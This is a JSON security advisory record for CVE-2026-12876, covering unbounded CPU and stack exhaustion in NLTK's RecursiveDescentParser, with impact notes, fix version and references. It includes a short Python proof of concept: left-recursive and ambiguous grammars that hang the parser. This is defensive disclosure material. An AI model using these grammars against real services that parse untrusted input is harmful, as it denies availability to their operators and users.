{"id":"CVE-2026-12876","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-12876","summary":"NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars","details":"`nltk.parse.RecursiveDescentParser` (and `SteppingRecursiveDescentParser`) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.\n\n## Proof of concept\n\nBoth of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:\n\n```python\nfrom nltk import CFG\nfrom nltk.parse import RecursiveDescentParser\n\n# (a) left recursion -> unbounded recursion\ng = CFG.fromstring(\"S -> S S | 'a'\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n\n# (b) ambiguous grammar -> exponential number of parses\ng = CFG.fromstring(\"S -> 'a' S | 'a' S S | 'a'\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n```\n\n## Impact\n\nAn application that runs `RecursiveDescentParser` on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.\n\n## Sibling\n\nThe RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.","published":"2026-09-02T14:33:38Z","modified":"2026-09-02T14:45:05.770367754Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"nltk","fixedVersion":"3.10.3"}],"fix":{"url":"https://github.com/nltk/nltk/pull/3649","label":"nltk/nltk#3649"},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3649"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-02T14:45:05.770367754Z"}}